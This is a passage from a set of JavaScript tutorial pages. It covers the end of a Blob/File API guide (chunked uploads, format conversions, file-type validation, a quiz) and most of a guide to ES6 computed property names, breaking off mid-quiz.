'text/html') // Change MIME type // Read the sliced content console.log(await firstFive.text()) // "Hello" ``` ### Chunked File Upload For very large files, split them into chunks: ```javascript async function uploadInChunks(file, chunkSize = 1024 * 1024) { // 1MB chunks const totalChunks = Math.ceil(file.size / chunkSize) for (let i = 0; i < totalChunks; i++) { const start = i * chunkSize const end = Math.min(start + chunkSize, file.size) const chunk = file.slice(start, end) const formData = new FormData() formData.append('chunk', chunk) formData.append('chunkIndex', i) formData.append('totalChunks', totalChunks) formData.append('filename', file.name) await fetch('/api/upload-chunk', { method: 'POST', body: formData }) console.log(`Uploaded chunk ${i + 1}/${totalChunks}`) } } ``` ### Reading Large Files in Chunks For processing large files without loading everything into memory: ```javascript async function processLargeFile(file, chunkSize = 1024 * 1024) { let offset = 0 while (offset < file.size) { const chunk = file.slice(offset, offset + chunkSize) const content = await chunk.text() // Process this chunk processChunk(content) offset += chunkSize console.log(`Processed ${Math.min(offset, file.size)} / ${file.size} bytes`) } } ``` --- ## Converting Between Formats ### Blob to Data URL ```javascript // Using FileReader function blobToDataURL(blob) { return new Promise((resolve, reject) => { const reader = new FileReader() reader.onload = () => resolve(reader.result) reader.onerror = reject reader.readAsDataURL(blob) }) } // Usage const blob = new Blob(['Hello'], { type: 'text/plain' }) const dataUrl = await blobToDataURL(blob) // "data:text/plain;base64,SGVsbG8=" ``` ### Data URL to Blob ```javascript function dataURLtoBlob(dataUrl) { const [header, base64Data] = dataUrl.split(',') const mimeType = header.match(/:(.*?);/)[1] const binaryString = atob(base64Data) const bytes = new Uint8Array(binaryString.length) for (let i = 0; i < binaryString.length; i++) { bytes[i] = binaryString.charCodeAt(i) } return new Blob([bytes], { type: mimeType }) } // Usage const dataUrl = 'data:text/plain;base64,SGVsbG8=' const blob = dataURLtoBlob(dataUrl) console.log(await blob.text()) // "Hello" ``` ### Blob to ArrayBuffer and Back ```javascript // Blob to ArrayBuffer const blob = new Blob(['Hello']) const buffer = await blob.arrayBuffer() // ArrayBuffer to Blob const newBlob = new Blob([buffer]) ``` ### Canvas to Blob ```javascript // Get a canvas element const canvas = document.getElementById('myCanvas') // Convert to Blob (async) canvas.toBlob((blob) => { // blob is now a Blob with image data downloadBlob(blob, 'canvas-image.png') }, 'image/png', 0.9) // format, quality // Or with a Promise wrapper function canvasToBlob(canvas, type = 'image/png', quality = 0.9) { return new Promise((resolve) => { canvas.toBlob(resolve, type, quality) }) } ``` --- ## Common Mistakes ### The #1 Blob Mistake: Forgetting to Revoke URLs ```javascript // ❌ WRONG - Creates memory leak function previewImages(files) { for (const file of files) { const img = document.createElement('img') img.src = URL.createObjectURL(file) // Never revoked! gallery.appendChild(img) } } // ✓ CORRECT - Revoke after image loads function previewImages(files) { for (const file of files) { const img = document.createElement('img') const url = URL.createObjectURL(file) img.onload = () => URL.revokeObjectURL(url) img.src = url gallery.appendChild(img) } } ``` ### Setting Content-Type with FormData ```javascript // ❌ WRONG - Don't set Content-Type for FormData const formData = new FormData() formData.append('file', file) fetch('/api/upload', { method: 'POST', headers: { 'Content-Type': 'multipart/form-data' // Wrong! Missing boundary }, body: formData }) // ✓ CORRECT - Let browser set Content-Type with boundary fetch('/api/upload', { method: 'POST', // No Content-Type header - browser handles it body: formData }) ``` ### Not Validating File Types ```javascript // ❌ WRONG - Trusting file extension if (file.name.endsWith('.jpg')) { // User could rename any file to .jpg } // ✓ BETTER - Check MIME type if (file.type.startsWith('image/')) { // More reliable, but can still be spoofed } // ✓ BEST - Validate magic bytes for critical applications async function isValidJPEG(file) { const buffer = await file.slice(0, 3).arrayBuffer() const bytes = new Uint8Array(buffer) // JPEG magic number: FF D8 FF return bytes[0] === 0xFF && bytes[1] === 0xD8 && bytes[2] === 0xFF } ``` --- ## Real-World Patterns ### Image Compression Before Upload ```javascript async function compressImage(file, maxWidth = 1200, quality = 0.8) { // Create an image element const img = new Image() const url = URL.createObjectURL(file) await new Promise((resolve, reject) => { img.onload = resolve img.onerror = reject img.src = url }) URL.revokeObjectURL(url) // Calculate new dimensions let { width, height } = img if (width > maxWidth) { height = (height * maxWidth) / width width = maxWidth } // Draw to canvas const canvas = document.createElement('canvas') canvas.width = width canvas.height = height const ctx = canvas.getContext('2d') ctx.drawImage(img, 0, 0, width, height) // Convert back to blob return new Promise((resolve) => { canvas.toBlob(resolve, 'image/jpeg', quality) }) } // Usage const compressed = await compressImage(originalFile) console.log(`Original: ${originalFile.size}, Compressed: ${compressed.size}`) ``` ### File Type Validation ```javascript const ALLOWED_TYPES = { 'image/jpeg': [0xFF, 0xD8, 0xFF], 'image/png': [0x89, 0x50, 0x4E, 0x47], 'image/gif': [0x47, 0x49, 0x46], 'application/pdf': [0x25, 0x50, 0x44, 0x46] } async function validateFileType(file) { const maxSignatureLength = Math.max( ...Object.values(ALLOWED_TYPES).map(sig => sig.length) ) const buffer = await file.slice(0, maxSignatureLength).arrayBuffer() const bytes = new Uint8Array(buffer) for (const [mimeType, signature] of Object.entries(ALLOWED_TYPES)) { if (signature.every((byte, i) => bytes[i] === byte)) { return { valid: true, detectedType: mimeType } } } return { valid: false, detectedType: null } } ``` ### Copy/Paste Image Handling ```javascript document.addEventListener('paste', async (e) => { const items = e.clipboardData?.items if (!items) return for (const item of items) { if (item.type.startsWith('image/')) { const file = item.getAsFile() // Preview the pasted image const url = URL.createObjectURL(file) const img = document.createElement('img') img.onload = () => URL.revokeObjectURL(url) img.src = url pasteTarget.appendChild(img) } } }) ``` --- ## Key Takeaways <Info> **The key things to remember about Blob and File APIs:** 1. **Blob is a container for binary data** — It stores raw bytes with a MIME type but doesn't expose contents directly. Use FileReader or Blob methods to read data. 2. **File extends Blob** — File adds `name`, `lastModified`, and other metadata. Any API accepting Blob also accepts File. 3. **FileReader is asynchronous** — Use `readAsText()`, `readAsDataURL()`, or `readAsArrayBuffer()` depending on your needs. Prefer `blob.text()` and `blob.arrayBuffer()` for simpler code. 4. **Object URLs need cleanup** — Always call `URL.revokeObjectURL()` after using `URL.createObjectURL()` to avoid memory leaks. 5. **Don't set Content-Type for FormData uploads** — The browser automatically sets the correct multipart boundary. Setting it manually breaks the upload. 6. **Blobs are immutable** — You can't modify a Blob. Use `slice()` to create new Blobs from portions of existing ones. 7. **Use slice() for large files** — Process files in chunks to avoid loading everything into memory at once. 8. **Data URLs are synchronous but heavy** — They're convenient for small files but base64 encoding increases size by ~33%. 9. **Validate files properly** — Don't trust file extensions or even MIME types. Check magic bytes for security-critical applications. 10. **FormData handles multiple files** — Append files with the same key to upload multiple files in one request. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the difference between Blob and File?"> **Answer:** File extends Blob, inheriting all its properties and methods while adding file-specific metadata: - `name`: The filename (e.g., "photo.jpg") - `lastModified`: Timestamp when the file was last modified - `webkitRelativePath`: Path for directory uploads Any API that accepts a Blob also accepts a File, since File is a subclass of Blob. </Accordion> <Accordion title="Question 2: Why must you call URL.revokeObjectURL()?"> **Answer:** `URL.createObjectURL()` creates a reference to the Blob in memory that persists until the page unloads or you explicitly revoke it. Each call allocates memory that won't be garbage collected automatically. If you create many Object URLs without revoking them (like in an image gallery preview), you'll leak memory. Always revoke the URL when you're done using it. ```javascript const url = URL.createObjectURL(blob) img.src = url img.onload = () => URL.revokeObjectURL(url) // Clean up ``` </Accordion> <Accordion title="Question 3: How do you read a file as text?"> **Answer:** Two approaches: ```javascript // Modern way (Promise-based) const text = await file.text() // Traditional way (FileReader) const reader = new FileReader() reader.onload = () => console.log(reader.result) reader.readAsText(file) ``` The modern `blob.text()` method is cleaner for simple reads. Use FileReader when you need progress events. </Accordion> <Accordion title="Question 4: Why shouldn't you set Content-Type when uploading with FormData?"> **Answer:** When uploading files with FormData, the Content-Type must be `multipart/form-data` with a specific boundary string that separates the parts. The browser generates this boundary automatically. If you manually set `Content-Type: 'multipart/form-data'`, you won't include the boundary, and the server can't parse the request. Let the browser handle it: ```javascript // Correct - no Content-Type header fetch('/upload', { method: 'POST', body: formData }) ``` </Accordion> <Accordion title="Question 5: How do you process a large file without loading it all into memory?"> **Answer:** Use `blob.slice()` to read the file in chunks: ```javascript async function processInChunks(file, chunkSize = 1024 * 1024) { let offset = 0 while (offset < file.size) { const chunk = file.slice(offset, offset + chunkSize) const content = await chunk.text() processChunk(content) offset += chunkSize } } ``` This processes the file piece by piece, never loading more than `chunkSize` bytes into memory at once. </Accordion> <Accordion title="Question 6: When should you use Data URLs vs Object URLs?"> **Answer:** **Data URLs** (`data:...base64,...`): - Self-contained (no external reference) - Can be stored, serialized, sent via JSON - 33% larger than original (base64 overhead) - Synchronous creation with FileReader **Object URLs** (`blob:...`): - Just a reference to the Blob in memory - Must be revoked to free memory - Same size as original data - Only valid in the current document Use Data URLs for small files you need to persist. Use Object URLs for temporary previews and large files. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the difference between Blob and File in JavaScript?"> `File` extends `Blob` with metadata properties: `name`, `lastModified`, and `webkitRelativePath`. A File is always a Blob, but a Blob is not a File. File objects come from user input (`<input type="file">`) or drag-and-drop, while Blobs are created programmatically. The W3C File API specification defines this inheritance. </Accordion> <Accordion title="How do I create a downloadable file in JavaScript?"> Create a Blob with your content, generate an Object URL with `URL.createObjectURL(blob)`, assign it to an anchor element's `href`, set the `download` attribute to a filename, and trigger a click. Always call `URL.revokeObjectURL()` afterward to free memory. </Accordion> <Accordion title="What is the difference between Object URLs and Data URLs?"> Object URLs (`blob:...`) are references to in-memory Blob data — they're fast to create but must be manually revoked. Data URLs (`data:...`) encode the full content as a Base64 string — they're larger (about 33% overhead) but self-contained and can be saved or embedded. MDN recommends Object URLs for large files and temporary previews. </Accordion> <Accordion title="How do I read the contents of a user-selected file?"> Use the `FileReader` API or the modern `file.text()`, `file.arrayBuffer()`, and `file.stream()` methods. `FileReader` uses callbacks while the modern methods return Promises. For text files, `await file.text()` is the simplest approach. For binary data, use `await file.arrayBuffer()`. </Accordion> <Accordion title="How do I upload large files in chunks?"> Use `blob.slice(start, end)` to split a file into chunks, then upload each chunk separately with `fetch()` and `FormData`. This enables progress tracking, resumable uploads, and avoids server timeout limits. The W3C File API defines `slice()` as a method for creating sub-Blobs from ranges of the original data. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Typed Arrays & ArrayBuffers" icon="database" href="/beyond/concepts/typed-arrays-arraybuffers"> Low-level binary data handling that works with Blobs </Card> <Card title="HTTP & Fetch" icon="globe" href="/concepts/http-fetch"> How to upload files to servers using fetch() </Card> <Card title="Promises" icon="handshake" href="/concepts/promises"> Understanding async operations used by Blob methods </Card> <Card title="async/await" icon="clock" href="/concepts/async-await"> Modern syntax for working with FileReader and Blob APIs </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Blob — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Blob"> Official MDN documentation for the Blob interface with constructor, properties, and methods. </Card> <Card title="File — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/File"> MDN reference for the File interface that extends Blob with file-specific properties. </Card> <Card title="FileReader — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/FileReader"> Complete reference for reading file contents asynchronously with all methods and events. </Card> <Card title="Using files from web applications — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/File_API/Using_files_from_web_applications"> MDN guide covering file selection, drag-drop, and practical file handling patterns. </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="Blob — javascript.info" icon="newspaper" href="https://javascript.info/blob"> Comprehensive tutorial covering Blob creation, URLs, conversions, and image handling. Part of the excellent Binary Data section on javascript.info. </Card> <Card title="File and FileReader — javascript.info" icon="newspaper" href="https://javascript.info/file"> Detailed guide on File objects and FileReader with practical examples for reading different file formats. </Card> <Card title="How To Read and Process Files with FileReader — DigitalOcean" icon="newspaper" href="https://www.digitalocean.com/community/tutorials/js-file-reader"> Step-by-step tutorial with complete code examples for text, image, and binary file reading. </Card> <Card title="Web File API deep dive — DEV Community" icon="newspaper" href="https://dev.to/tmrc/the-last-file-input-tutorial-youll-ever-need-2023-4ppd"> Modern take on File API covering everything from basic input handling to advanced validation patterns. </Card> <Card title="FileReader API — 12 Days of Web" icon="newspaper" href="https://12daysofweb.dev/2023/filereader-api/"> Concise introduction to FileReader with clear explanations of when and why to use each reading method. </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title="File Reader API in JavaScript — dcode" icon="video" href="https://www.youtube.com/watch?v=bnhE9lEBwLQ"> Clear 10-minute walkthrough of FileReader basics with a practical file preview example. Great starting point. </Card> <Card title="JavaScript File Upload Tutorial — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=e0_SAFC5jig"> Complete file upload implementation from frontend to backend, covering validation, progress, and error handling. </Card> <Card title="Drag and Drop File Upload — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=_F2Ek-DGsgg"> Practical tutorial building a drag-and-drop file upload zone with preview functionality. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/computed-property-names.mdx ================================================ --- title: "Computed Property Names in JS" sidebarTitle: "Computed Property Names" description: "Learn JavaScript computed property names. Create dynamic object keys with variables, expressions, Symbols, and computed methods for cleaner ES6+ code." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Modern Syntax & Operators" "article:tag": "computed property names, dynamic object keys, es6 syntax, bracket notation, symbols" --- Have you ever needed to create an object where the property name comes from a variable? Before ES6, this required creating the object first, then adding the property in a separate step. Computed property names changed everything. ```javascript // Before ES6 - two steps required const key = 'status'; const obj = {}; obj[key] = 'active'; // ES6 computed property names - single expression const key2 = 'status'; const obj2 = { [key2]: 'active' }; console.log(obj2); // { status: 'active' } ``` With **computed property names**, introduced in the ECMAScript 2015 specification, you can use any expression inside square brackets `[]` within an object literal, and JavaScript evaluates that expression to determine the property name. This seemingly small syntax addition enables powerful patterns for dynamic object creation. <Info> **What you'll learn in this guide:** - What computed property names are and their ES6 syntax - How JavaScript evaluates computed keys (order of evaluation) - Dynamic keys with variables and expressions - Using Symbol keys for unique, non-colliding properties - Computed method names, getters, and setters - Common patterns: form handling, state updates, internationalization - Edge cases: duplicate keys, type coercion, and the `__proto__` gotcha </Info> <Warning> **Prerequisite:** This guide assumes familiarity with [object basics](/concepts/primitive-types) and [bracket notation](/concepts/modern-js-syntax) for property access. Some examples use [Symbols](/beyond/concepts/javascript-type-nuances), which are covered in detail in the Symbol Keys section. </Warning> --- ## What are Computed Property Names? **Computed property names** are an ES6 feature that allows you to use an expression inside square brackets `[]` within an object literal to dynamically determine a property's name at runtime. The expression is evaluated, converted to a string (or kept as a Symbol), and used as the property key. This enables creating objects with dynamic keys in a single expression, eliminating the need for the two-step create-then-assign pattern required before ES6. ```javascript const field = 'email'; const value = 'alice@example.com'; // The expression [field] is evaluated to get the key name const formData = { [field]: value, [`${field}_verified`]: true }; console.log(formData); // { email: 'alice@example.com', email_verified: true } ``` Think of computed property names as **dynamic labels** for your object's filing cabinet. Instead of pre-printing labels (static keys), you're using a label maker (the expression) to print the label right when you create the file. --- ## The Dynamic Label Analogy Imagine you're organizing a filing cabinet. With traditional object literals, you must know all the label names in advance. With computed properties, you can generate labels on the fly. ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ COMPUTED PROPERTY NAMES: DYNAMIC LABELS │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ STATIC KEYS (Traditional) COMPUTED KEYS (ES6) │ │ ───────────────────────── ────────────────────── │ │ │ │ Pre-printed labels: Label maker: │ │ ┌──────────────────┐ ┌──────────────────┐ │ │ │ name: "Alice" │ │ [key]: "Alice" │ │ │ │ age: 30 │ │ [prefix+id]: 30 │ │ │ └──────────────────┘ └──────────────────┘ │ │ │ │ │ You must know "name" key can be any │ │ and "age" at write time expression evaluated │ │ at runtime │ │ │ │ const obj = { const key = 'name'; │ │ name: "Alice", const obj = { │ │ age: 30 ──────────────► [key]: "Alice", │ │ }; [`user_${key}`]: "Alice" │ │ }; │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` --- ## Basic Syntax The syntax is straightforward: wrap any expression in square brackets `[]` where you would normally write a property name. ### Variable as Key The most common use case is using a variable's value as the property name: ```javascript const propName = 'score'; const player = { name: 'Alice', [propName]: 100 }; console.log(player); // { name: 'Alice', score: 100 } console.log(player.score); // 100 ``` ### Template Literal as Key Template literals let you build dynamic key names with string interpolation: ```javascript const prefix = 'user'; const id = 42; const data = { [`${prefix}_${id}`]: 'Alice', [`${prefix}_${id}_role`]: 'admin' }; console.log(data); // { user_42: 'Alice', user_42_role: 'admin' } ``` ### Expression as Key Any valid JavaScript expression works inside the brackets: ```javascript const i = 0; const obj = { ['prop' + (i + 1)]: 'first', ['prop' + (i + 2)]: 'second', [1 + 1]: 'number key' }; console.log(obj); // { '2': 'number key', prop1: 'first', prop2: 'second' } ``` ### Function Call as Key You can even call functions to generate key names: ```javascript function getKey(type) { return `data_${type}_${Date.now()}`; } const cache = { [getKey('user')]: { name: 'Alice' } }; console.log(Object.keys(cache)[0]); // Something like: 'data_user_1699123456789' ``` --- ## How the Engine Evaluates Computed Keys Understanding the evaluation order is crucial for avoiding subtle bugs. ### Order of Evaluation: Key Before Value When JavaScript encounters a computed property, it evaluates the **key expression first**, then the **value expression**. Properties are processed left-to-right in source order. ```javascript let counter = 0; const obj = { [++counter]: counter, // key: 1, value: 1 [++counter]: counter, // key: 2, value: 2 [++counter]: counter // key: 3, value: 3 }; console.log(obj); // { '1': 1, '2': 2, '3': 3 } ``` Each property's key expression (`++counter`) is evaluated before its value expression (`counter`), so the key and value end up with the same number. ### Type Coercion: ToPropertyKey() Property keys can only be **strings** or **Symbols**. When you use any other type, JavaScript converts it using an internal operation called `ToPropertyKey()`: | Input Type | Conversion | |------------|------------| | String | Used as-is | | Symbol | Used as-is | | Number | Converted to string: `42` → `"42"` | | Boolean | `true` → `"true"`, `false` → `"false"` | | null | `"null"` | | undefined | `"undefined"` | | Object | Calls `toString()` → usually `"[object Object]"` | | Array | Calls `toString()` → `[1,2,3]` becomes `"1,2,3"` | ```javascript const obj = { [42]: 'number', [true]: 'boolean', [null]: 'null', [[1, 2, 3]]: 'array' }; console.log(obj); // { '42': 'number', 'true': 'boolean', 'null': 'null', '1,2,3': 'array' } // Number keys and string keys can collide! console.log(obj[42]); // 'number' console.log(obj['42']); // 'number' (same property!) ``` <Warning> **Common gotcha:** Number and string keys that convert to the same string refer to the same property. `obj[1]` and `obj['1']` access the same property. </Warning> --- ## Before ES6: The Two-Step Pattern Before computed property names, creating objects with dynamic keys required multiple steps: ```javascript // ES5: Create object, then add dynamic property function createUser(role, name) { var obj = {}; obj[role] = name; return obj; } var admin = createUser('admin', 'Alice'); console.log(admin); // { admin: 'Alice' } ``` This was especially awkward in situations requiring single expressions: ```javascript // ES5: IIFE pattern for single-expression dynamic keys var role = 'admin'; var users = (function() { var obj = {}; obj[role] = 'Alice'; return obj; })(); // ES6: Clean single expression const role2 = 'admin'; const users2 = { [role2]: 'Alice' }; ``` The ES6 syntax shines in: - **Default function parameters** that need dynamic objects - **Arrow functions** with implicit returns - **Const declarations** requiring immediate initialization - **Array methods** like `map()` and `reduce()` ```javascript // ES6 enables elegant patterns const fields = ['name', 'email', 'age']; const defaults = fields.reduce( (acc, field) => ({ ...acc, [field]: '' }), {} ); console.log(defaults); // { name: '', email: '', age: '' } ``` --- ## Symbol Keys: The Primary Use Case Symbols are unique, immutable identifiers that can **only** be used as object keys via computed property syntax. According to MDN, this is one of the most important use cases for computed properties and the reason Symbols were designed alongside this syntax in ES2015. ### Why Symbols Need Computed Syntax You cannot use a Symbol with the shorthand or colon syntax: ```javascript const mySymbol = Symbol('id'); // This creates a string key "mySymbol", NOT a Symbol key! const wrong = { mySymbol: 'value' }; console.log(Object.keys(wrong)); // ['mySymbol'] // This uses the Symbol as the key const correct = { [mySymbol]: 'value' }; console.log(Object.keys(correct)); // [] (Symbols don't appear in keys!) console.log(Object.getOwnPropertySymbols(correct)); // [Symbol(id)] ``` ### Symbol Keys Are Hidden Symbol-keyed properties don't appear in most iteration methods: ```javascript const secret = Symbol('secret'); const user = { name: 'Alice', [secret]: 'classified information' }; // Symbol keys are hidden from these: console.log(Object.keys(user)); // ['name'] console.log(JSON.stringify(user)); // '{"name":"Alice"}' for (const key in user) { console.log(key); // Only logs 'name' } // But you can still access them: console.log(user[secret]); // 'classified information' console.log(Object.getOwnPropertySymbols(user)); // [Symbol(secret)] ``` ### Well-Known Symbols: Customizing Object Behavior JavaScript has built-in "well-known" Symbols that let you customize how objects behave. These must be used with computed property syntax. #### Symbol.iterator: Make Objects Iterable ```javascript const range = { start: 1, end: 5, [Symbol.iterator]() { let current = this.start; const end = this.end; return { next() { if (current <= end) { return { value: current++, done: false }; } return { done: true }; } }; } }; console.log([...range]); // [1, 2, 3, 4, 5] for (const num of range) { console.log(num); // 1, 2, 3, 4, 5 } ``` #### Symbol.toStringTag: Custom Type String ```javascript const myCollection = { items: [], [Symbol.toStringTag]: 'MyCollection' }; console.log(Object.prototype.toString.call(myCollection)); // '[object MyCollection]' // Compare to a plain object: console.log(Object.prototype.toString.call({})); // '[object Object]' ``` #### Symbol.toPrimitive: Custom Type Coercion ```javascript const temperature = { celsius: 20, [Symbol.toPrimitive](hint) { switch (hint) { case 'number': return this.celsius; case 'string': return `${this.celsius}°C`; default: return this.celsius; } } }; console.log(+temperature); // 20 (number hint) console.log(`${temperature}`); // '20°C' (string hint) console.log(temperature + 10); // 30 (default hint) ``` ### Privacy Patterns with Symbols While not truly private, Symbol keys provide a level of encapsulation: ```javascript // Module-scoped Symbol - not exported const _balance = Symbol('balance'); class BankAccount { constructor(initial) { this[_balance] = initial; } deposit(amount) { this[_balance] += amount; } getBalance() { return this[_balance]; } } const account = new BankAccount(100); console.log(Object.keys(account)); // [] console.log(JSON.stringify(account)); // '{}' console.log(account.getBalance()); // 100 // Still accessible if you know about Symbols: const symbols = Object.getOwnPropertySymbols(account); console.log(account[symbols[0]]); // 100 ``` --- ## Computed Method Names Computed property syntax works with method shorthand for dynamically-named methods: ### Basic Computed Methods ```javascript const action = 'greet'; const obj = { [action]() { return 'Hello!'; }, [`${action}Loudly`]() { return 'HELLO!'; } }; console.log(obj.greet()); // 'Hello!' console.log(obj.greetLoudly()); // 'HELLO!' ``` ### Computed Generator Methods ```javascript const iteratorName = 'values'; const collection = { items: [1, 2, 3], *[iteratorName]() { for (const item of this.items) { yield item * 2; } } }; console.log([...collection.values()]); // [2, 4, 6] ``` ### Computed Async Methods ```javascript const fetchName = 'fetchData'; const api = { async [fetchName](url) { const response = await fetch(url); return response.json(); } }; // api.fetchData('https://api.example.com/data') ``` --- ## Computed Getters and Setters You can combine computed property names with [getters and setters](/beyond/concepts/getters-setters): ```javascript const prop = 'fullName'; const person = { firstName: 'Alice', lastName: 'Smith', get [prop]() { return `${this.firstName} ${this.lastName}`; }, set [prop](value) { const parts = value.split(' '); this.firstName = parts[0]; this.lastName = parts[1]; } }; console.log(person.fullName); // 'Alice Smith' person.fullName = 'Bob Jones'; console.log(person.firstName); // 'Bob' console.log(person.lastName); // 'Jones' ``` ### Symbol-Keyed Accessors ```javascript const _value = Symbol('value'); const validated = { [_value]: 0, get [Symbol.for('value')]() { return this[_value]; }, set [Symbol.for('value')](v) { if (typeof v !== 'number') { throw new TypeError('Value must be a number'); } this[_value] = v; } }; validated[Symbol.for('value')] = 42; console.log(validated[Symbol.for('value')]); // 42 ``` --- ## Real-World Use Cases ### Form Field Handling React and Vue state updates commonly use computed properties. According to Stack Overflow's 2023 Developer Survey, React remains the most popular front-end framework, making this pattern one of the most widely used applications of computed property names: ```javascript // React-style form handler function handleInputChange(fieldName, value) { return { [fieldName]: value, [`${fieldName}Touched`]: true, [`${fieldName}Error`]: null }; } const updates = handleInputChange('email', 'alice@example.com'); console.log(updates); // { // email: 'alice@example.com', // emailTouched: true, // emailError: null // } ``` ### Redux-Style State Updates ```javascript // Reducer pattern with computed properties function updateField(state, field, value) { return { ...state, [field]: value, lastModified: Date.now() }; } const state = { name: 'Alice', email: '' }; const newState = updateField(state, 'email', 'alice@example.com'); console.log(newState); // { name: 'Alice', email: 'alice@example.com', lastModified: 1699123456789 } ``` ### Internationalization (i18n) ```javascript function createTranslations(locale, translations) { return { [`messages_${locale}`]: translations, [`${locale}_loaded`]: true, [`${locale}_timestamp`]: Date.now() }; } const spanish = createTranslations('es', { hello: 'hola' }); console.log(spanish); // { // messages_es: { hello: 'hola' }, // es_loaded: true, // es_timestamp: 1699123456789 // } ``` ### Dynamic API Response Mapping ```javascript function normalizeResponse(entityType, items) { return items.reduce((acc, item) => ({ ...acc, [`${entityType}_${item.id}`]: item }), {}); } const users = [ { id: 1, name: 'Alice' }, { id: 2, name: 'Bob' } ]; const normalized = normalizeResponse('user', users); console.log(normalized); // { // user_1: { id: 1, name: 'Alice' }, // user_2: { id: 2, name: 'Bob' } // } ``` --- ## Common Mistakes and Edge Cases ### Duplicate Computed Keys: Last One Wins When multiple computed properties evaluate to the same key, the last one overwrites previous values: ```javascript const key = 'same'; const obj = { [key]: 'first', ['sa' + 'me']: 'second', same: 'third' // Static key, same string }; console.log(obj); // { same: 'third' } ``` ### Keys That Throw Errors If the key expression throws, object creation is aborted entirely: ```javascript function badKey() { throw new Error('Key evaluation failed'); } // This throws before the object is created try { const obj = { valid: 'ok', [badKey()]: 'never reached' }; } catch (e) { console.log(e.message); // 'Key evaluation failed' } ``` ### Object Keys: toString() Collisions Objects used as keys call `toString()`, which can cause unexpected collisions: ```javascript const objA = { toString: () => 'key' }; const objB = { toString: () => 'key' }; const data = { [objA]: 'first', [objB]: 'second' // Overwrites! Both → 'key' }; console.log(data); // { key: 'second' } ``` ### The `__proto__` Special Case The `__proto__` key has special behavior depending on how it's written: ```javascript // Non-computed: Sets the prototype! const obj1 = { __proto__: Array.prototype }; console.log(obj1 instanceof Array); // true console.log(Object.hasOwn(obj1, '__proto__')); // false // Computed: Creates a normal property const obj2 = { ['__proto__']: Array.prototype }; console.log(obj2 instanceof Array); // false console.log(Object.hasOwn(obj2, '__proto__')); // true // Shorthand: Also creates a normal property const __proto__ = 'just a string'; const obj3 = { __proto__ }; console.log(obj3.__proto__); // 'just a string' (own property) ``` <Warning> **Important:** Only the non-computed colon syntax (`__proto__: value`) sets the prototype. Computed `['__proto__']` and shorthand `{ __proto__ }` create regular properties. </Warning> --- ## Key Takeaways <Info> **The key things to remember:** 1. **Computed properties use `[expression]` syntax** in object literals to create dynamic key names at runtime. 2. **The key expression is evaluated before the value expression.** Properties are processed left-to-right in source order. 3. **Non-string/Symbol keys are coerced via ToPropertyKey().** Numbers become strings, objects call `toString()`. 4. **Symbols can ONLY be used as keys via computed property syntax.** The syntax `{ mySymbol: value }` creates a string key `"mySymbol"`. 5. **Well-known Symbols customize object behavior.** Use `[Symbol.iterator]` for iteration, `[Symbol.toStringTag]` for type strings. 6. **Computed method syntax enables dynamic method names.** Works with regular methods, generators, and async methods. 7. **Computed getters/setters enable dynamic accessor properties.** Combine `get [expr]()` and `set [expr](v)` for dynamic accessors. 8. **Pre-ES6 required two steps; ES6 enables single-expression objects.** This is especially useful in `reduce()`, arrow functions, and default parameters. 9. **Duplicate computed keys are allowed—last one wins.** No error is thrown; the later value simply overwrites. 10. **The `__proto__` key behaves differently in computed vs non-computed form.** Only non-computed colon syntax sets the prototype. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="What's the difference between { key: value } and { [key]: value }?"> **Answer:** - `{ key: value }` creates a property with the literal name `"key"` (a static string). - `{ [key]: value }` evaluates the variable `key` and uses its **value** as the property name. ```javascript const key = 'dynamicName'; const static = { key: 'value' }; console.log(static); // { key: 'value' } const dynamic = { [key]: 'value' }; console.log(dynamic); // { dynamicName: 'value' } ``` The square brackets signal "evaluate this expression to get the key name." </Accordion> <Accordion title="In what order are key and value expressions evaluated?"> **Answer:** The **key expression is evaluated first**, then the **value expression**. This happens for each property in left-to-right order. ```javascript let n = 0; const obj = { [++n]: n, // key: 1, value: 1 [++n]: n // key: 2, value: 2 }; // { '1': 1, '2': 2 } ``` The `++n` in the key runs before `n` in the value is read, so they match. </Accordion> <Accordion title="What happens when you use an object as a computed key?"> **Answer:** The object is converted to a string via its `toString()` method. By default, this returns `"[object Object]"`, which can cause unintended collisions: ```javascript const a = { id: 1 }; const b = { id: 2 }; const obj = { [a]: 'first', [b]: 'second' // Overwrites! Both → "[object Object]" }; console.log(obj); // { '[object Object]': 'second' } ``` Custom `toString()` methods can provide unique keys, but this pattern is error-prone. Use Symbols or string IDs instead. </Accordion> <Accordion title="Why must Symbol keys use computed property syntax?"> **Answer:** The shorthand and colon syntax only accept identifiers or string literals as property names. Writing `{ mySymbol: value }` creates a property named `"mySymbol"` (a string), not a Symbol-keyed property. ```javascript const sym = Symbol('id'); const wrong = { sym: 'value' }; console.log(Object.keys(wrong)); // ['sym'] - string key! const right = { [sym]: 'value' }; console.log(Object.keys(right)); // [] - Symbol key is hidden console.log(Object.getOwnPropertySymbols(right)); // [Symbol(id)] ``` The `[sym]` syntax tells JavaScript to evaluate the variable and use the Symbol itself as the key. </Accordion> <Accordion title="How do you create a dynamically-named method?"> **Answer:** Use computed property syntax with method shorthand: ```javascript const action = 'processData'; const handler = { [action](data) { return data.map(x => x * 2); }, // Generator method *[`${action}Iterator`](data) { for (const item of data) { yield item * 2; } }, // Async method async [`${action}Async`](url) { const response = await fetch(url); return response.json(); } }; console.log(handler.processData([1, 2, 3])); // [2, 4, 6] ``` This works with regular methods, generators (`*[name]()`), and async methods (`async [name]()`). </Accordion> <Accordion title="What happens with duplicate computed keys?"> **Answer:** Duplicate keys are allowed—the **last one 